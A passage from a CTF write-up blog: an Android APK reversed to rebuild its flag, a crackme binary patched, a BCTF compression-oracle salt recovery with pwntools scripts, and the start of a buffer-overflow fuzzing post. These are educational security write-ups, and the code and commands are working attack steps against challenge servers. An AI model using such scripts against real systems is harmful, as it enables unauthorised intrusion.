Sunday, 29 March 2015

on 1 comment

0ops CTF Qualifiers 2015 - Vezel - Mobile Challenge

I haven’t ever done a mobile challenge before so I thought I’d give this a try as it was one of the earliest challenges made available on the 0ctf site when it began. The clue was only this:


So firstly we download the file, it’s an Android APK which is really just a ZIP file package of all the necessary goodness for a Android device to install

 -rwxrw-rw- 1 root root 907004 Mar 30 11:00 vezel.apk  
root@mankrik:~/0ctf/vezel# file vezel.apk
vezel.apk: Zip archive data, at least v2.0 to extract

So let’s just unzip it and examine the contents really quick, this challenge is only worth 100 points so maybe it’s easy.

 root@mankrik:~/0ctf/vezel/zip# unzip -qq vezel.apk   
root@mankrik:~/0ctf/vezel/zip# ls -la
total 3136
drwxr-xr-x 4 root root 4096 Mar 30 11:04 .
drwxr-xr-x 3 root root 4096 Mar 30 11:03 ..
-rw-r--r-- 1 root root 1804 Mar 27 11:29 AndroidManifest.xml
-rw-r--r-- 1 root root 2135512 Mar 27 11:29 classes.dex
drwxr-xr-x 2 root root 4096 Mar 30 11:04 META-INF
drwxr-xr-x 24 root root 4096 Mar 30 11:04 res
-rw-r--r-- 1 root root 142212 Mar 27 11:29 resources.arsc
-rwxr--r-- 1 root root 907004 Mar 30 11:03 vezel.apk

Cool, all the normal Android stuff I guess. I don’t know much about Android files so lets just strings everything and look for a flag!

 root@mankrik:~/0ctf/vezel/zip# strings `find .` | grep -i 0ctf  
0ctf0
0ctf0
0ctf
0CTF{
root@mankrik:~/0ctf/vezel/zip# grep -i 0ctf `find . -type f`
Binary file ./META-INF/CERT.RSA matches
Binary file ./classes.dex matches

Ok the RSA cert and the classes.dex file match but not trivially, as in, I don’t see a flag just lying about!

Next step is more research, I found that a classes.dex file is a Dalvik Executable which contains compiled Dalvik bytecode. These can usually be pulled apart by things like dexdump and apktool to get to the Dalvik code which, when you look at it looks like someone took all the worst bits of Java and jammed it into assembly code, and then turned a blender on. But worse.  I decompiled that anyway and tried to read the Dalvik byte code. Using that method I did figure out basically what it was doing but it was a horrible way to go about it so I will save you the time.

The proper way to do this is to convert the Dalvik executable (classes.dex) into Java binaries using a tool called dex2jar (there are others, but I used dex2jar for this).

 root@mankrik:~/0ctf/vezel/zip# dex2jar classes.dex   
this cmd is deprecated, use the d2j-dex2jar if possible
dex2jar version: translator-0.0.9.15
dex2jar classes.dex -> classes_dex2jar.jar
Done.

root@mankrik:~/0ctf/vezel/zip# ls -la
total 4292
drwxr-xr-x 4 root root 4096 Mar 30 13:46 .
drwxr-xr-x 3 root root 4096 Mar 30 11:03 ..
-rw-r--r-- 1 root root 1804 Mar 27 11:29 AndroidManifest.xml
-rw-r--r-- 1 root root 2135512 Mar 27 11:29 classes.dex
-rw-r--r-- 1 root root 1179969 Mar 30 13:46 classes_dex2jar.jar
drwxr-xr-x 2 root root 4096 Mar 30 11:04 META-INF
drwxr-xr-x 24 root root 4096 Mar 30 11:04 res
-rw-r--r-- 1 root root 142212 Mar 27 11:29 resources.arsc
-rwxr--r-- 1 root root 907004 Mar 30 11:03 vezel.apk

This results in a classes_dex2jar.jar file which, as all .jar files are, is just a .zip file containing the compiled Java classes. You can just unzip that file to get at the Java binaries:

 root@mankrik:~/0ctf/vezel/zip# file classes_dex2jar.jar   
classes_dex2jar.jar: Zip archive data, at least v2.0 to extract
root@mankrik:~/0ctf/vezel/zip# unzip -qq classes_dex2jar.jar
root@mankrik:~/0ctf/vezel/zip# ls -la
total 4300
drwxr-xr-x 6 root root 4096 Mar 30 14:29 .
drwxr-xr-x 3 root root 4096 Mar 30 11:03 ..
drwxr-xr-x 3 root root 4096 Mar 30 13:46 android
-rw-r--r-- 1 root root 1804 Mar 27 11:29 AndroidManifest.xml
-rw-r--r-- 1 root root 2135512 Mar 27 11:29 classes.dex
-rw-r--r-- 1 root root 1179969 Mar 30 13:46 classes_dex2jar.jar
drwxr-xr-x 3 root root 4096 Mar 30 13:46 com
drwxr-xr-x 2 root root 4096 Mar 30 11:04 META-INF
drwxr-xr-x 24 root root 4096 Mar 30 11:04 res
-rw-r--r-- 1 root root 142212 Mar 27 11:29 resources.arsc
-rwxr--r-- 1 root root 907004 Mar 30 11:03 vezel.apk

The Java binaries for the Vezel program live in the com/ctf/vezel/ folder after extraction from the .jar file:

 root@mankrik:~/0ctf/vezel/zip# cd com/  
root@mankrik:~/0ctf/vezel/zip/com# cd ctf
root@mankrik:~/0ctf/vezel/zip/com/ctf# cd vezel/
root@mankrik:~/0ctf/vezel/zip/com/ctf/vezel# ls -la
total 104
drwxr-xr-x 2 root root 4096 Mar 30 13:46 .
drwxr-xr-x 3 root root 4096 Mar 30 13:46 ..
-rw-r--r-- 1 root root 415 Mar 30 13:46 BuildConfig.class
-rw-r--r-- 1 root root 2579 Mar 30 13:46 MainActivity.class
-rw-r--r-- 1 root root 453 Mar 30 13:46 R$anim.class
-rw-r--r-- 1 root root 7191 Mar 30 13:46 R$attr.class
-rw-r--r-- 1 root root 582 Mar 30 13:46 R$bool.class
-rw-r--r-- 1 root root 765 Mar 30 13:46 R.class
-rw-r--r-- 1 root root 3373 Mar 30 13:46 R$color.class
-rw-r--r-- 1 root root 2714 Mar 30 13:46 R$dimen.class
-rw-r--r-- 1 root root 2976 Mar 30 13:46 R$drawable.class
-rw-r--r-- 1 root root 2633 Mar 30 13:46 R$id.class
-rw-r--r-- 1 root root 266 Mar 30 13:46 R$integer.class
-rw-r--r-- 1 root root 1472 Mar 30 13:46 R$layout.class
-rw-r--r-- 1 root root 247 Mar 30 13:46 R$menu.class
-rw-r--r-- 1 root root 253 Mar 30 13:46 R$mipmap.class
-rw-r--r-- 1 root root 1258 Mar 30 13:46 R$string.class
-rw-r--r-- 1 root root 15495 Mar 30 13:46 R$styleable.class
-rw-r--r-- 1 root root 14911 Mar 30 13:46 R$style.class

And these files are listed as Java binaries by file:

 root@mankrik:~/0ctf/vezel/zip/com/ctf/vezel# file MainActivity.class   
MainActivity.class: compiled Java class data, version 50.0 (Java 1.6)

Ok so I want to check what this program is doing, but I don’t want to emulate it and I don’t have Android SDK. I could get all those things but first there’s a simpler way. A Java decompiler.

I looked around very briefly and found a nice Linux supporting one called JD-GUI at jd.benow.ca. I grabbed that and installed it quickly. It needs 32bit GTK libraries so I made sure those were installed on my Kali VM also…

 root@mankrik:~/0ctf/vezel/zip/com/ctf/vezel# wget -q http://jd.benow.ca/jd-gui/downloads/jd-gui-0.3.5.linux.i686.tar.gz  
root@mankrik:~/0ctf/vezel/zip/com/ctf/vezel# apt-get install ia32-libs-gtk
Reading package lists... Done
Building dependency tree
Reading state information... Done
ia32-libs-gtk is already the newest version.
0 upgraded, 0 newly installed, 0 to remove and 27 not upgraded.
root@mankrik:~/0ctf/vezel/zip/com/ctf/vezel# tar -zxf jd-gui-0.3.5.linux.i686.tar.gz
root@mankrik:~/0ctf/vezel/zip/com/ctf/vezel# ./jd-gui

When it fires up, I opened the MainActivity.class file because it seemed…. pretty … main …. I guess… The decompiler GUI is really nice and easy and fast to move around in. The Java code is very easy to read versus the Dalvik byte code!


The main crux of the program comes once the user clicks “Confirm” which is a button in the Android app. The button fires up this function:

 public void confirm(View paramView)  
{
String str1 = String.valueOf(getSig(getPackageName()));
String str2 = getCrc();
if (("0CTF{" + str1 + str2 + "}").equals(this.et.getText().toString()))
{
Toast.makeText(this, "Yes!", 0).show();
return;
}
Toast.makeText(this, "0ops!", 0).show();
}

Which is a hell of a lot like a flag string. So yay, we got a strong lead: The flag consists of the strings

  • “0CTF{" 
  • str1 - a string made up of the return value of getSig(getPackageName())
  • str2 - a string made up of the return value of getCrc()
  • ”}“
Ok so we need to find the return values of these functions to build the flag. Let’s focus on str1 first.

This string is returned by this function:

 private int getSig(String paramString)  
{
PackageManager localPackageManager = getPackageManager();
try
{
int i = localPackageManager.getPackageInfo(paramString, 64).signatures[0].toCharsString().hashCode();
return i;
}
catch (Exception localException)
{
localException.printStackTrace();
}
return 0;
}

So it uses the localPackageManager to getPackageInfo about the hashcode of the signature of the package. Brilliant. WTF is that… This needed quite a bit of research but I was able to retrieve the package signature via two methods.

  1. Installed an APK tool inside an Android emulator that had the vezel.apk installed. There are so many APK extractors/tools/etc on the android store but almost all of them are horrible applications. Only one of them was able to give me a package signature and I can’t remember which of the 10 or so apps it was. Suffice to say this option was a bit of a waste of time.
  2. Derive it from the APK itself. This needs more research.
I went with option 1 for a while, got a signature (turned out to be correct but I didnt know at the time) but it wasn’t what I used to beat the challenge. I stumbled across this link in my research which turned out to be the right idea. What the function returns is the hashCode() of the getPackageInfo().signatures[0].toCharsString(). 

 In the Java programming language, every class implicitly or explicitly provides a hashCode() 
method, which digests the data stored in an instance of the class into a single hash value
(a 32-bit signed integer).

Great so we combine our knowledge of what a hashcode is and the source code from the link above which parses APK file certificates, specifically to get package signatures to get this part of the challenge done.

We use this Java code (snippet below) to get the signature hashcode. Notice it is the same Java code from the link except the hashcode calculation is changed to be the one we need and some of the extraneous output we don’t need was removed:

   if (certs != null && certs.length > 0) {  
final int N = certs.length;
for (int i = 0; i String charSig = new String(toChars(certs[i].getEncoded()));
System.out.println("Cert#: " + i + " Type:" + certs[i].getType()
+ "\nstr1 is: " + charSig.hashCode());
}
} else {
System.err.println("Package has no certificates; ignoring!");
return;
}

When we run it we get this output:

 root@mankrik:~/0ctf/vezel# javac Main.java   
root@mankrik:~/0ctf/vezel# java Main
Usage: java -jar GetAndroidSig.jar
root@mankrik:~/0ctf/vezel# java Main vezel.apk
vezel.apk
classes.dex 1189242199
Cert#: 0 Type:X.509
str1 is: -183971537

Great so thats the first half of the flag, now let’s look at str2. This is returned by the following function:

 private String getCrc()  
{
try
{
String str = String.valueOf(new ZipFile(getApplicationContext().getPackageCodePath()).getEntry("classes.dex").getCrc());
return str;
}
catch (Exception localException)
{
localException.printStackTrace();
}
return "";
}

So this just looks through it’s own APK file looking for the file classes.dex and then returns the CRC value of that file. Too easy.

I wanted to do this a few ways but I settled on strictly doing this in Java so my results aligned exactly with the Vezel program. There are a lot of Java tutorials on the net about doing exactly that so all I needed to do was integrate it into my existing Java code from before.

I did this and my final result was this code:

 import java.io.IOException;  
import java.io.InputStream;
import java.lang.ref.WeakReference;
import java.security.Signature;
import java.security.cert.*;
import java.util.Enumeration;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
public class Main {
private static final Object mSync = new Object();
private static WeakReference mReadBuffer;
public static void main(String[] args) {
if (args.length System.out.println("Usage: java -jar GetAndroidSig.jar ");
System.exit(-1);
}
long mycrc = 0;
System.out.println(args[0]);
String mArchiveSourcePath = args[0];
try {
ZipFile zipFile = new ZipFile(args[0]);
Enumeration o = zipFile.entries();
while(o.hasMoreElements())
{
ZipEntry entry = (ZipEntry)o.nextElement();
String entryName = entry.getName();
long crc = entry.getCrc();
if(entryName.startsWith("classes.dex")) {
System.out.print(entryName + " " + crc + "\n");
mycrc = crc;
}
}
zipFile.close();
}
catch(IOException ioe)
{
System.out.println("Error opening Zip."+ioe);
}
WeakReference readBufferRef;
byte[] readBuffer = null;
synchronized (mSync) {
readBufferRef = mReadBuffer;
if (readBufferRef != null) {
mReadBuffer = null;
readBuffer = readBufferRef.get();
}
if (readBuffer == null) {
readBuffer = new byte[8192];
readBufferRef = new WeakReference(readBuffer);
}
}
try {
JarFile jarFile = new JarFile(mArchiveSourcePath);
java.security.cert.Certificate[] certs = null;
Enumeration entries = jarFile.entries();
while (entries.hasMoreElements()) {
JarEntry je = (JarEntry) entries.nextElement();
if (je.isDirectory()) {
continue;
}
if (je.getName().startsWith("META-INF/")) {
continue;
}
java.security.cert.Certificate[] localCerts = loadCertificates(jarFile, je, readBuffer);
if (false) {
System.out.println("File " + mArchiveSourcePath + " entry " + je.getName()
+ ": certs=" + certs + " ("
+ (certs != null ? certs.length : 0) + ")");
}
if (localCerts == null) {
System.err.println("Package has no certificates at entry "
+ je.getName() + "; ignoring!");
jarFile.close();
return;
} else if (certs == null) {
certs = localCerts;
} else {
// Ensure all certificates match.
for (int i = 0; i boolean found = false;
for (int j = 0; j if (certs[i] != null
&& certs[i].equals(localCerts[j])) {
found = true;
break;
}
}
if (!found || certs.length != localCerts.length) {
System.err.println("Package has mismatched certificates at entry "
+ je.getName() + "; ignoring!");
jarFile.close();
return; // false
}
}
}
}
jarFile.close();
synchronized (mSync) {
mReadBuffer = readBufferRef;
}
if (certs != null && certs.length > 0) {
final int N = certs.length;
for (int i = 0; i String charSig = new String(toChars(certs[i].getEncoded()));
System.out.println("Cert#: " + i + " Type:" + certs[i].getType()
+ "\nYour flag sir: 0CTF{" + charSig.hashCode()
+ mycrc
+ "}");
}
} else {
System.err.println("Package has no certificates; ignoring!");
return;
}
} catch (CertificateEncodingException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException e) {
System.err.println("Exception reading " + mArchiveSourcePath + "\n" + e);
return;
} catch (RuntimeException e) {
System.err.println("Exception reading " + mArchiveSourcePath + "\n" + e);
return;
}
}
private static char[] toChars(byte[] mSignature) {
byte[] sig = mSignature;
final int N = sig.length;
final int N2 = N*2;
char[] text = new char[N2];
for (int j=0; j byte v = sig[j];
int d = (v>>4)&0xf;
text[j*2] = (char)(d >= 10 ? ('a' + d - 10) : ('0' + d));
d = v&0xf;
text[j*2+1] = (char)(d >= 10 ? ('a' + d - 10) : ('0' + d));
}
return text;
}
private static java.security.cert.Certificate[] loadCertificates(JarFile jarFile, JarEntry je, byte[] readBuffer) {
try {
// We must read the stream for the JarEntry to retrieve
// its certificates.
InputStream is = jarFile.getInputStream(je);
while (is.read(readBuffer, 0, readBuffer.length) != -1) {
// not using
}
is.close();
return (java.security.cert.Certificate[]) (je != null ? je.getCertificates() : null);
} catch (IOException e) {
System.err.println("Exception reading " + je.getName() + " in "
+ jarFile.getName() + ": " + e);
}
return null;
}
}

Which I ran and which gave me this output.

 root@mankrik:~/0ctf/vezel# javac Main.java   
root@mankrik:~/0ctf/vezel# java Main vezel.apk
vezel.apk
classes.dex 1189242199
Cert#: 0 Type:X.509
Your flag sir: 0CTF{-1839715371189242199}

I was initially upset that the hashcode was a negative number. The flag looked pretty dumb to me. I would have preferred the hex value of these but oh well. We submitted the flag and it was correct.

Writeup: Dacat






Wednesday, 25 March 2015

on Leave a Comment

Securinets CTF Quals 2015 - aucun_choix Reversing Challenge

What a strange CTF this one was. Judging by all the comments on CTFtime a lot of people couldn’t get past the registration page. I myself registered ok, it was in French but Google translate got the message across. When I began the CTF I immediately noticed that this was a challenge for beginners. That’s great I do need to brush up on my basic skills.

Anyway unfortunately the website is now down so I can’t get screencaps of the site but the challenge I will document from Securinets is called aucun_choix which is a reversing / cracking challenge.

First thing we do is download the binary given and examine it with file:

 root@mankrik:~/securinets# file aucun_choix.exe   
aucun_choix.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

Ok cool, a console app. Let’s run it and see what it does. I’ll use Wine so I don’t leave my Kali VM.

 root@mankrik:~/securinets# wine aucun_choix.exe   
Trouvez moi si vous pouvez
e
ratÚ cherche encore!

Ok, it doesn’t do anything except for that. Let’s put it in IDA Pro because we can. I immediately look at the _main function and see this jnz instruction:


So it does a strcmp, and based on the result will either tell you to try again or tell you bravo! I guess we got encore but we want bravo. So let’s just flip the jnz to a jz instruction in the binary and see what happens. 

The jnz instruction lives at binary offset 0x806, opcodes are 0x75 0x64 and we want a JZ instruction so the opcodes are 0x74 0x64

After patching that one byte and saving the file we run it again:

 root@mankrik:~/securinets# wine aucun_choix_cracked.exe   
Trouvez moi si vous pouvez
a
oh mon dieu t'as reussi bravo ! mdp est concatene ordre est 4 2 3 1

Sweet. WTF does it mean though?

Google translate helps a little, it basically says, well done, the MDP concatenation order is 4, 2, 3, 1. Great, what is MDP? A little bit of Googling tells me that MDP is a French abbreviation for “mot de passe” or “password”. So the translation is really, “the password concatenation order is 4, 2, 3, 1”

Ok but what password? Back to IDA Pro and we search about for strings that we might want to concatenate. We quickly spot some likely data in the .rdata segment:


So a quick select, Right click, Edit->Export Data and we have an export with the following text in it:
  1. 123456
  2. 7891011
  3. 12131415
  4. numbers:
Ok so if we go by the concatenation order we get:
  • numbers:789101112131415123456

We submit this as the flag and collect the points.

Sunday, 22 March 2015

on Leave a Comment

BCTF 2015 - weak_enc Crypto challenge

After a challenging enough “Warm Up” challenge at BCTF2015 which involved cracking a poorly thought out RSA encryption, the next challenge we decided to tackle was the weak_enc challenge worth only 200 points. I don’t normally do crypto but the warmup challenge really got me in the mood so, here we go!

The challenge was fairly self explanatory thankfully, a link for a download, a cipher text to crack and an IP / port where a server can be reached:



So firstly I downloaded the file and decompressed it. It had a .py extension so we knew it would be a Python script. Examining the code in the Python we find it is an encryption server code which listens on port 8888/tcp.

We also see it uses a salt as part of the encryption function and that the salt is not included in the files we downloaded. It imports “SALT” from a python module “grandmaToldMeNotToTalkToBigBadWolf”.

 import hashlib  
import string
from grandmaToldMeNotToTalkToBigBadWolf import SALT
DEBUG= False
MSGLENGTH = 40000

Cool. Let’s create a arbitrary salt file for now so we can see the service in action:

 root@mankrik:~/bctf/weak# echo SALT=\'abcd\' > grandmaToldMeNotToTalkToBigBadWolf.py  
root@mankrik:~/bctf/weak# python weak_enc-40eb1171f07d8ebb06bbf36849d829a1.py

Let’s connect to it and see what happens:

 root@mankrik:~# nc localhost 8888  
Please provide your proof of work, a sha1 sum ending in 16 bit's set to 0, it must be of length 21 bytes, starting with QN+yjqWfMwADrUsv
test
Check failed

Ok before we can even access the encryption server, we have a riddle to solve? We must be able to solve this riddle to proceed to the next level because I have a feeling that, even though we have the full code of the encryption algorithm, without the salt, we will never decrypt the challenge.

The only way we’re getting the salt is through the live BCTF server.  So we need to pass this test.

As it turns out, this is a fairly standard riddle used in CTF competitions often. We solve it using a brute force approach using Python itertools module to build every possible combination of characters and test for combinations that meet the requirements. I have reused code from this link with some modifications for our particular circumstances below:

 proof = puzzlefromserver  
charset = ''.join( [ chr( x ) for x in xrange( 0, 128 ) ] )
found = False
for comb in itertools.combinations( charset, 5 ):
test = proof + ''.join( comb )
ha=hashlib.sha1()
ha.update( test )
if ( ord( ha.digest()[ -1 ] ) == 0x00 and
ord( ha.digest()[ -2 ] ) == 0x00):
found = True
break
if not found:
print 'Could not find string =('
quit()

The output of the snippet above is a string in the variable “test” that meets the criteria demanded of us by the server.

So it’s time to start whipping up a client to begin probing our way through the encryption part of this crypto challenge.

For this I’m using Binjitsu, which I am still learning and finding great features in every day. The first thing I want to do is just connect, and then pass the riddle and get to the Encryption service. Let’s use this code to do that:

 #!/usr/bin/python  
from pwn import *
import hashlib, itertools
# This is the plaintext we are going to encrypt
plaintext = 'a' * 1
conn = remote('localhost',8888)
#conn = remote('146.148.79.13',8888)
task = conn.recvline()
line = task.split()
proof = line[25]
print "Got challenge ("+proof+"). Brute forcing a response..."
charset = ''.join( [ chr( x ) for x in xrange( 0, 128 ) ] )
found = False
for comb in itertools.combinations( charset, 5 ):
test = proof + ''.join( comb )
ha=hashlib.sha1()
ha.update( test )
if ( ord( ha.digest()[ -1 ] ) == 0x00 and
ord( ha.digest()[ -2 ] ) == 0x00):
found = True
break
if not found:
print 'Could not find string =('
quit()
print "Responding to challenge..."
conn.send(test)
conn.sendafter(':', plaintext + "\n")
encrypted = conn.recvline()
line = encrypted.split()
print "Plaintext "+plaintext+" encrypted is "+line[3]
conn.close()

And when we run it…

 root@mankrik:~/bctf/weak# python pwnweak.py.p1  
[+] Opening connection to localhost on port 8888: Done
Got challenge (3REpDAwCe+Mmxb85). Brute forcing a response...
Responding to challenge...
Plaintext a encrypted is Q0isU8Y=
[*] Closed connection to localhost port 8888

Ok cool we’re in! And now I have a script I can encrypt anything with. That’s step 1.

Next we need to figure out a way to approach the deduction of the salt. Let’s browse the server code some more.

 def LZW(s, lzwDict): # LZW written by NEWBIE  
for c in s: updateDict(c, lzwDict)
print lzwDict # have to make sure it works
result = []

Notice here we have a LZW function which is a lossless compression algorithm. Whether this algorithm implements true LZW or not is not important. What is important is that it’s a compression algorithm (presumably) and that’s cool because compression gives us interesting results when encrypting.

The idea I’m using here, is that, when you add a salt to a plaintext and compress them before encryption, if the plaintext and the salt have common factors then the ciphertext will be of a unexpected, and shorter, length. Let’s take this oversimplified example:
  • Case #1
  • Salt: beef
  • Plaintext: aaaaaa
  • Ciphertext: AzTzDa
  • Case #2
  • Salt: beef
  • Plaintext: eeeeee
  • Ciphertext: TrZw
Notice how in this example, the plaintext containing letters that coincide with those found inside the salt resulted in a shorter ciphertext? From this we can deduce that the letter “e” is within the salt.

We try this in our “lab” environment by modifying our Python code with a for loop, from the server code we know that the salt can only contain lowercase letters a-z because it checks that, so that’s cool.

Let’s iterate through the characters a-z against our lab where we’ve configured the salt “abcd” and see what happens! Here’s a link to the full code of this version.

 # iterate through lowercase letters  
for letter in range(97,122+1):
plaintext = chr(letter) * 10
conn = remote('localhost',8888)

Then let’s run our code against our lab server, I’m only interested in seeing the encrypted results so I’ll grep for “encrypted”:

 root@mankrik:~/bctf/weak# python pwnweak.py.p2 | grep encrypted  
Plaintext aaaaaaaaaa encrypted is Q0isU8aHWYY=
Plaintext bbbbbbbbbb encrypted is Q0isU8eHWYY=
Plaintext cccccccccc encrypted is Q0isU8SHWYY=
Plaintext dddddddddd encrypted is Q0isU8GHWY8=
Plaintext eeeeeeeeee encrypted is Q0isU8KGWoc=
Plaintext ffffffffff encrypted is Q0isU8KGWoc=
Plaintext gggggggggg encrypted is Q0isU8KGWoc=
Plaintext hhhhhhhhhh encrypted is Q0isU8KGWoc=
Plaintext iiiiiiiiii encrypted is Q0isU8KGWoc=
Plaintext jjjjjjjjjj encrypted is Q0isU8KGWoc=

Wow check that out. For letters a - d the encrypted output differs but for all other encryptions the ciphertext is the same. So we deduce the salt has the letters a,b,c, and d. Cool.

Let’s do this against the production server! They can’t mind just 26 connections surely!

 Plaintext gggggggggg encrypted is NxQ1NDIZcTY/5HkaBS4t  
Plaintext hhhhhhhhhh encrypted is NxQ1NDIZcTY/5HkaBS4t
Plaintext iiiiiiiiii encrypted is NxQ1NDMYcDcw53gfGi8u
Plaintext jjjjjjjjjj encrypted is NxQ1NDIZcTY/5HkaBS4t
Plaintext kkkkkkkkkk encrypted is NxQ1NDMYcDcw53gcGi8u
Plaintext llllllllll encrypted is NxQ1NDIZcTY/5HkaBS4t
Plaintext mmmmmmmmmm encrypted is NxQ1NDIZcTY/5HkaBS4t
Plaintext nnnnnnnnnn encrypted is NxQ1NDMYcDcw53geGi8u
Plaintext oooooooooo encrypted is NxQ1NDMYcDcw53gdGi8u
Plaintext pppppppppp encrypted is NxQ1NDIZcTY/5HkaBS4t
Plaintext qqqqqqqqqq encrypted is NxQ1NDIZcTY/5HkaBS4t
Plaintext rrrrrrrrrr encrypted is NxQ1NDIZcTY/5HkaBS4t

Excellent, we’re making progress. We know a couple of things from this.

  1. We know the salt is much longer than our “lab” salt because the ciphertext is much longer for the same input. 
  2. We also know that the sale must contain the letters “i”, “k”, “o”, and “n”. All other ciphertexts remain the same.

Where to go from here? It is next possible to deduce the position of each byte in the salt by examining the individual bits in the ciphertext output. That is complicated though so is there anything we can do to quickly brute force this?

I got the idea from a colleague to assume that the salt fit the basic rules of an English language word and build a list of anagrams using the “ikon” letters, then apply them as salts in the server code until I reached a decryption of a known plaintext that matched a known ciphertext from the production server.

So we know:

  1. The string “gggggggggg” encrypts to “NxQ1NDIZcTY/5HkaBS4t”. 
  2. The salt is > 4 bytes
  3. The salt contains characters i,k,o and n
We assume:
  1. The salt is an english word or at least a string that is made up of words following the rules of the english language (i.e. no “ooo” sequences)
So I made these modifications to the server code, which basically takes a plaintext from the client, then brute forces every combination of the 15 combinations of 4 letter uses of the letters i,k,o and n I came up with and sends them to the client.

Why did I chose 4 bytes and 5 sets of 4 bytes? At first I tried other values but by the time I found the salt this was the code I had. This is capable of searching for salts in any multiple of 4 bytes by modifying the itertools repeat value as well as the format string:

 ...  
def encrypt(m,salt):
lzwDict = dict()
toEnc = LZW(salt + m, lzwDict)
key = hashlib.md5(salt*2).digest()
...
print "looking for salts"
koala = ('ikon', 'ionk', 'inok','onik','oink','nino','nini', 'niko', 'koni', 'koin', 'kino', 'niok', 'noik','noki','niko',);
for findsalt in itertools.product(koala, repeat = 5):
salttry = '{}{}{}{}{}'.format(*findsalt)
print "Salt: " + salttry
encd = encrypt(msg, salttry)
print "Encrypted: " + encd
req.sendall(salttry + ":" + encd + "\n")
...

On the client side I went back to my basic, single throw non-looping client that just sends the string “gggggggggg” and then polls the server for every encrypted output. The server will be sending us a LOT so I just put it in a while loop forever because it was quick and easy. Here’s a link to this version of the client.

 # This is the plaintext we are going to encrypt  
plaintext = 'g' * 10
conn.sendafter(':', plaintext + "\n")
while True:
encrypted = conn.recvline()
print "Response: " + encrypted

Then we wanna run it until we get a string containing the known good ciphertext we previously retrieved from the production server “NxQ1NDIZcTY/5HkaBS4t”. Within 3 minutes we got the following output:

 root@mankrik:~/bctf/weak# time python pwnweak.py.p3 | grep NxQ1  
Response: inokonikniokonikoink:iJykNxQ1QNqCzMLoilrI580hIg==
Response: niniinokniniionkikon:Q3LUXv0lUVNxQ1dZV1WUYF9W
Response: nikonikoninikonikoni:NxQ1NDIZcTY/5HkaBS4t

Congrats, we now know the salt used to encrypt on the production server is “nikonikoninikonikoni”. This is step 2 done! This challenge is not solved yet though. We have a message to decrypt next.

So taking what we know now, how can we apply this to decryption? I first thought to analyse the encryption and compression functions but before I got too far I noticed just how closely the encrypted versions of the long strings of n, i, k, and o matched the decryption challenge.

For example, from earlier we know:

  1. Challenge ciphertext: NxQ1NDMYcDcw53gVHzI7
  2. 10 n’s ciphertext:  NxQ1NDMYcDcw53geGi8u
  3. 10 letters not in the list i,k,o,n:  NxQ1NDIZcTY/5HkaBS4t
Notice that the ciphertext for letters in the list i,k,o,n are correct until the last 5 bytes of the challenge ciphertext. Can we apply our salt brute force technique to the challenge to result in a quick win?

Firstly, let’s set our server code back to “stock” and configure our SALT correctly now that we know it.

Next we’ll modify the client code to again, use a loop to continuously ask our localhost server to encrypt values. This time our plaintext will iterate through blocks of 4 characters we used previously to find the salt.

You can view the client code we used at this link.

We started with a ciphertext of 4 bytes, then increased it in blocks of 4 bytes until we had this code which looked for 12 byte plaintexts:

 import hashlib, itertools  
# list of combinations of plaintext possibly
pool = ('ikon', 'ionk', 'inok','onik','oink','nino','nini', 'niko', 'koni', 'koin', 'kino', 'niok', 'noik','noki','niko',);
# iterate through the combinations
for findsalt in itertools.product(pool, repeat = 3):
plaintext = '{}{}{}'.format(*findsalt)
conn = remote('localhost',8888)

When run, we received a result in just over 2 minutes. We confirmed the string NxQ1NDMYcDcw53gVHzI7 is the result of encrypting the plaintext “nikoninikoni”.

 root@mankrik:~/bctf/weak# date; python pwnweak.py.p4 | grep NxQ1NDMYcDcw53gVHzI7  
Monday 23 March 20:28:18 AEDT 2015
Plaintext nikoninikoni encrypted is NxQ1NDMYcDcw53gVHzI7
^C
root@mankrik:~/bctf/weak# date
Monday 23 March 20:30:35 AEDT 2015

Woot. That’s the third and final step to this challenge. We submit the flag and get the 200 points.

A good challenge with many new steps for me, use of deduction and brute force together was very fun. Thanks to BCTF team.

Writeup: Dacat

Wednesday, 18 March 2015

on Leave a Comment

Vancouver BSides 2015 - Sushi Pwnable

Our first time doing Vancouver BSides which was an event said to be aimed at beginners and students. I was expecting a fun and medium challenge but I found it to be trickier than expected and where I knew the general direction of the solutions for a number of problems I didn’t get enough time to focus on them during the middle of the week where it was held.

Anyway, following my goal of writing up one challenge from each CTF here is my write-up for Sushi - a Pwnable challenge for 100 points making it the simplest challenge in the Pwnable category by points ranking.

For this challenge the clue was only the challenge name and a hostname and port number with a binary to download:

 sushi  
sushi.termsec.net 4000
sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8

Upon downloading the file we perform the usual few checks, discover it is a just a 64 bit ELF Linux executable which has been stripped.

 root@mankrik:~/bsides/origfiles# file sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8   
sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xded3f8ec9c4a27b93245abe4301f9a46924d5327, stripped

Being the trusting type, I try to execute the program and am greeted with an input prompt asking me to deposit money for sushi?

 root@mankrik:~/bsides# ./sushi  
Deposit money for sushi here: 0x7fff863241f0
$1.00
Sorry, $0.36 is not enough.

Welp, that’s a little interesting. An memory address and some kind of output. Being a simple level pwnable challenge, let’s just quickly fuzz inputs to see if we can speedily come to a conclusion without too much disassembly. For this I use a bit of bash redirection from a python script.

 #!/usr/bin/python  
import os
for i in range(1,1000):
buf = 'A' * i
cmd = '/bin/sh -c "echo ' + buf + '" | ./sushi'
print str(i) + ":"
os.system(cmd)

Which results in:

 70:  
Deposit money for sushi here: 0x7fff2a5e6530
Sorry, $0.65 is not enough.
71:
Deposit money for sushi here: 0x7fff34b64fc0
Sorry, $0.65 is not enough.
72:
Deposit money for sushi here: 0x7ffff2602560
Sorry, $0.65 is not enough.
Segmentation fault
73:
Deposit money for sushi here: 0x7ffffeb7f050
Sorry, $0.65 is not enough.
Segmentation fault

Nothing for the first 71 bytes but after that we have a crashing sushi program. Cool, so maybe its an overflow due to poor input validation? Sounds likely so let’s check why it’s crashing with GDB and a 72 byte long string:

 root@mankrik:~/bsides# perl -e 'print "A" x 72; print "\n"'  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
